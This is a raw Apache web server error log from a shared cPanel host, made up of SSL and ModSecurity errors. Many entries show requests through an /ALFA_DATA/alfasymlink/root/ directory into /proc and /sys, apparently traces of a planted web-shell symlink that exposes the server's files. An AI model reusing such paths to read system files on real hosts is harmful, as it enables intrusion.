[Mon Oct 26 15:10:08.101188 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.202.88.37:35460] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory20/node0/memory22/"] [unique_id "at-lkMdX-waAlDqXJHtUrwAAABY"]
[Mon Oct 26 15:10:08.101250 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.202.88.37:35460] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory20/node0/memory22/"] [unique_id "at-lkMdX-waAlDqXJHtUrwAAABY"]
[Mon Oct 26 15:10:16.657201 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 3.218.103.254:64967] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:10:20.089715 2026] [ssl:error] [pid 3058816:tid 3058816] (5)Input/output error: [client 54.163.136.244:58657] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:10:20.089932 2026] [security2:error] [pid 3058816:tid 3058816] [client 54.163.136.244:58657] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:08/subsystem/devices/device:01/PNP0303:00/physical_node/driver/00:01/subsystem/devices/00:02/power/autosuspend_delay_ms"] [unique_id "at-lnM-doU5lRL_NAI8PUQAAAAE"]
[Mon Oct 26 15:10:20.089966 2026] [security2:error] [pid 3058816:tid 3058816] [client 54.163.136.244:58657] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:08/subsystem/devices/device:01/PNP0303:00/physical_node/driver/00:01/subsystem/devices/00:02/power/autosuspend_delay_ms"] [unique_id "at-lnM-doU5lRL_NAI8PUQAAAAE"]
[Mon Oct 26 15:10:23.484587 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 50.19.102.70:18469] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:10:31.828666 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 50.16.216.166:20779] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:10:43.523647 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 44.194.134.53:13028] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:10:59.217038 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 44.205.120.22:61897] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:11:03.650193 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 184.73.35.182:59778] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:11:05.189738 2026] [security2:error] [pid 3083765:tid 3083765] [client 107.172.76.131:56143] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-lvaFL9aMETz-8AU8dNQAAAAQ"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 15:11:05.189813 2026] [security2:error] [pid 3083765:tid 3083765] [client 107.172.76.131:56143] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-lvaFL9aMETz-8AU8dNQAAAAQ"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 15:11:11.102073 2026] [core:error] [pid 3082381:tid 3082381] (13)Permission denied: [client 3.213.46.222:12590] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/resource0
[Mon Oct 26 15:11:19.670660 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.85.7.119:19612] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:11:21.495645 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 185.191.171.6:43854] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-2k/cache_dma
[Mon Oct 26 15:11:34.302422 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 85.208.96.198:62342] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/sanity_checks
[Mon Oct 26 15:11:39.068888 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.71.218.25:39596] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:11:42.806973 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 52.45.29.57:15353] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:12:02.625181 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 54.83.23.103:18435] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:12:10.489586 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 3.230.224.6:18597] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:12:12.117362 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 185.191.171.16:27378] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fs_cache/sanity_checks
[Mon Oct 26 15:12:21.272583 2026] [security2:error] [pid 3064975:tid 3064975] [client 43.130.139.136:36668] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "at-mFcdX-waAlDqXJHtUtgAAABY"]
[Mon Oct 26 15:12:21.273793 2026] [authz_core:error] [pid 3064975:tid 3064975] [client 43.130.139.136:36668] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 15:12:26.378105 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 44.212.232.231:6413] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:12:34.253309 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 3.216.227.216:47247] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:12:50.202191 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 44.210.204.255:20964] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:12:54.369163 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 184.73.35.182:24128] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:12:58.242685 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 50.19.102.70:46759] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:13:14.250059 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 52.6.97.88:25966] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:13:30.220459 2026] [core:error] [pid 3084087:tid 3084087] (13)Permission denied: [client 3.213.213.161:48912] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/Cavium PTP Driver/unbind
[Mon Oct 26 15:13:38.373519 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 52.2.83.227:26100] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:13:39.843116 2026] [security2:error] [pid 3065807:tid 3065807] [client 177.241.29.140:5249] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at-mYxjIL9Z3tuLhXUCuWwAAAAc"], referer: https://five.co.in/redirect.php?ref_host=socialchat.es
[Mon Oct 26 15:13:50.316303 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 98.82.39.241:52437] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:13:54.302324 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 52.54.95.127:63512] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:14:02.190645 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 98.82.107.102:25720] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:14:10.495870 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 44.208.223.68:33188] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:14:18.385425 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.232.82.72:62725] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:14:38.208141 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 100.29.155.89:53704] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:14:38.570460 2026] [security2:error] [pid 3074879:tid 3074879] [client 107.172.76.131:56140] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-mj4byDoaPXEcrP3m0bAAAAA4"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 15:14:38.570508 2026] [security2:error] [pid 3074879:tid 3074879] [client 107.172.76.131:56140] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-mj4byDoaPXEcrP3m0bAAAAA4"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 15:14:58.274135 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 3.213.85.234:20688] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:15:05.101705 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 85.208.96.211:61898] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/free_calls
[Mon Oct 26 15:15:06.193931 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 184.73.195.18:56085] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:15:22.181061 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 100.24.149.244:44942] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/driver/bind
[Mon Oct 26 15:15:34.207860 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 34.204.150.196:36479] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:15:34.643625 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 185.191.171.3:51880] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/cpu_partial
[Mon Oct 26 15:15:46.335942 2026] [core:error] [pid 3084080:tid 3084080] (13)Permission denied: [client 44.221.37.41:25154] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/remove
[Mon Oct 26 15:15:50.171102 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 34.234.197.175:18532] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:15:54.709340 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 85.208.96.196:40634] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_pending_reservation/order
[Mon Oct 26 15:16:02.167774 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 44.221.180.179:18999] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/firmware_node/subsystem/drivers/thermal/bind
[Mon Oct 26 15:16:10.168298 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 54.210.155.69:48853] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:16:14.158976 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 52.3.102.51:31027] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:16:18.281056 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 52.204.89.12:64571] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:16:22.266412 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 18.232.36.1:44099] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:16:26.157570 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 3.210.114.189:44535] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:16:27.142972 2026] [core:error] [pid 3082381:tid 3082381] (13)Permission denied: [client 185.191.171.2:58682] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/signal_cache/usersize
[Mon Oct 26 15:16:34.296315 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 34.234.200.207:18293] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:16:38.241711 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.166.126.132:29695] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:16:46.309083 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 44.193.115.232:19539] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:16:50.231804 2026] [ssl:error] [pid 3084087:tid 3084087] (22)Invalid argument: [client 107.20.224.184:10855] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:17:12.410764 2026] [core:error] [pid 3084087:tid 3084087] (13)Permission denied: [client 185.191.171.1:23560] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/perf_event/cache_dma
[Mon Oct 26 15:17:22.686045 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 185.191.171.13:57404] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_epi/trace
[Mon Oct 26 15:17:26.168357 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 35.173.18.61:37455] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:17:34.146889 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.164.106.236:56268] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:17:38.139326 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 34.231.156.59:57446] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:17:42.182521 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 3.94.157.25:8042] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:17:46.182862 2026] [ssl:error] [pid 3084080:tid 3084080] (70014)End of file found: [client 52.207.47.227:22170] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:17:53.634496 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 185.191.171.18:44698] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:17:58.150903 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 35.171.141.42:20245] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:18:02.286314 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.1.106.130:28363] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:18:04.262297 2026] [core:crit] [pid 3084025:tid 3084025] (13)Permission denied: [client 185.191.171.14:38338] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/603/task/604/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/603/task/604/fd/' is executable
[Mon Oct 26 15:18:04.262378 2026] [core:crit] [pid 3084025:tid 3084025] (13)Permission denied: [client 185.191.171.14:38338] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/603/task/604/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/603/task/604/fdinfo/' is executable
[Mon Oct 26 15:18:10.212814 2026] [authz_core:error] [pid 3084056:tid 3084056] [client 77.239.124.162:35774] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 15:18:14.228750 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 34.230.124.21:13413] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu0/firmware_node/physical_node/crash_notes_size
[Mon Oct 26 15:18:18.149542 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 23.23.180.225:58758] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:18:21.115249 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 185.191.171.11:54794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-4k/cpu_slabs
[Mon Oct 26 15:18:22.172243 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 100.29.34.97:16590] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:18:30.495343 2026] [ssl:error] [pid 3085795:tid 3085795] (5)Input/output error: [client 54.197.82.195:51256] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:18:34.326668 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 52.2.58.41:12067] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:18:42.248876 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 54.88.84.219:18357] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:18:46.209429 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 98.84.131.195:59683] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:19:06.384188 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 52.7.33.248:22235] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:19:12.305188 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 85.208.96.204:19942] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PING/objects_partial
[Mon Oct 26 15:19:14.155043 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 98.82.38.120:56532] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:19:18.170904 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 98.82.66.172:45078] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:19:22.131715 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 44.221.105.234:8104] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:04.0/resource0
[Mon Oct 26 15:19:34.135255 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 18.232.11.247:3674] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:19:38.162283 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.45.92.83:10667] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:19:41.619421 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 85.208.96.211:61252] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-256/hwcache_align
[Mon Oct 26 15:19:54.221474 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 54.204.12.115:12771] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:20:02.188678 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 54.156.55.147:32637] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:20:14.280571 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 34.205.163.103:64534] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:20:18.890283 2026] [security2:error] [pid 3083765:tid 3083765] [client 107.172.76.131:56143] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-n5qFL9aMETz-8AU8dXgAAAAQ"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 15:20:18.890335 2026] [security2:error] [pid 3083765:tid 3083765] [client 107.172.76.131:56143] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-n5qFL9aMETz-8AU8dXgAAAAQ"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 15:20:22.146329 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 44.213.202.136:40509] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:20:26.132785 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 18.235.81.246:62762] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:20:46.168672 2026] [ssl:error] [pid 3084080:tid 3084080] (70014)End of file found: [client 50.17.193.48:37700] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:20:54.176457 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 184.73.195.18:61613] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:21:02.173728 2026] [core:error] [pid 3082381:tid 3082381] (13)Permission denied: [client 54.235.158.162:42311] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/resource0
[Mon Oct 26 15:21:18.221043 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 23.21.228.180:45054] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:21:23.788358 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 185.191.171.14:27800] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/damon_reclaim/parameters/monitor_region_start
[Mon Oct 26 15:21:26.175362 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 98.82.214.73:44563] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:21:30.178393 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 54.204.12.115:28445] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:21:31.120358 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 85.208.96.201:12186] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_head_cache/validate
[Mon Oct 26 15:21:36.819953 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 85.208.96.199:51590] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/cpu_partial
[Mon Oct 26 15:21:38.153536 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 52.70.209.13:12727] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:21:54.158654 2026] [ssl:error] [pid 3084080:tid 3084080] (70014)End of file found: [client 3.223.134.5:4612] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:21:57.912578 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 185.191.171.1:53196] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_dst_cache/slabs_cpu_partial
[Mon Oct 26 15:21:58.210390 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 184.73.68.20:47979] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:22:06.178627 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 44.207.69.106:14228] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:22:26.311243 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 34.231.45.47:16595] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:22:34.236344 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 54.156.124.2:57216] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:22:42.174505 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 3.225.45.252:31722] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:22:46.160576 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 184.72.95.195:40702] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:22:50.241424 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 54.197.178.107:5369] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:22:58.311979 2026] [ssl:error] [pid 3084080:tid 3084080] (70014)End of file found: [client 52.202.52.82:6448] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:23:01.277056 2026] [security2:error] [pid 3084053:tid 3084053] [client 186.148.120.225:33902] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at-olfCtl1PgaN9A_9xJkAAAADQ"], referer: https://curso-de-ventas.com/
[Mon Oct 26 15:23:01.278610 2026] [authz_core:error] [pid 3084053:tid 3084053] [client 186.148.120.225:33902] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: https://curso-de-ventas.com/
[Mon Oct 26 15:23:18.174841 2026] [ssl:error] [pid 3084080:tid 3084080] (70014)End of file found: [client 54.243.63.52:28493] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:23:22.434378 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 44.212.145.46:38257] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:23:30.151388 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 52.7.13.143:9895] AH02013: coalesce failed to read from data bucket
